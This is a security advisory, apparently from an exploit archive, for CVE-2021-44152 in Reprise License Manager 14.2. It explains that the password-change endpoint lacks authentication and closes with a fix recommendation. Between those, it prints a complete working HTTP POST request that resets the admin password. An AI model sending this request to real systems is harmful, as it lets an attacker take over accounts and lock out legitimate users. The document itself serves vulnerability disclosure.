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Reprise License Manager 14.2 Unauthenticated Password Change

Reprise License Manager 14.2 Unauthenticated Password Change
Posted Dec 8, 2021
Authored by Andreas Fyhn Andersen, Mark Staal Steenberg, Oliver Lind Nordestgaard, Gionathan Armando Reale, Bilal El Ghoul

Reprise License Manager version 14.2 suffers from a missing authentication vulnerability that allows for password changing of any existing user.

tags | exploit, bypass
advisories | CVE-2021-44152
SHA-256 | 79baa163dbede839bdb9c336503fd816ceecad6a454203e15d96d15ec3b68d0a

Reprise License Manager 14.2 Unauthenticated Password Change

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# Product: Reprise License Manager 14.2
# Vendor: Reprise Software
# CVE ID: CVE-2021-44152
# Vulnerability Title: Unauthenticated Password Change
# Severity: High
# Author(s): Mark Staal Steenberg, Bilal El Ghoul, Gionathan Armando Reale, Andreas Fyhn Andersen, Oliver Lind Nordestgaard
# Date: 2021-11-25
#############################################################
Introduction:
Because /goform/change_password_process does not verify authentication or authorization, an unauthenticated user can change the password of any existing user. This allows an attacker to change the password of any known user, thereby preventing valid users from accessing the system and granting the attacker full access to that user's account.

Vulnerability:
If an unauthenticated user sends the following HTTP request they can change the password of any user:

POST /goform/change_password_process HTTP/1.1
Host: 127.0.0.1:5054
Content-Length: 53

pw1=passwd&pw2=passwd&user=admin&ok=CHANGE%2BPASSWORD

Recommendation:
Ensure that authentication is required prior to password change requests and that users cannot modify or change passwords of others users.


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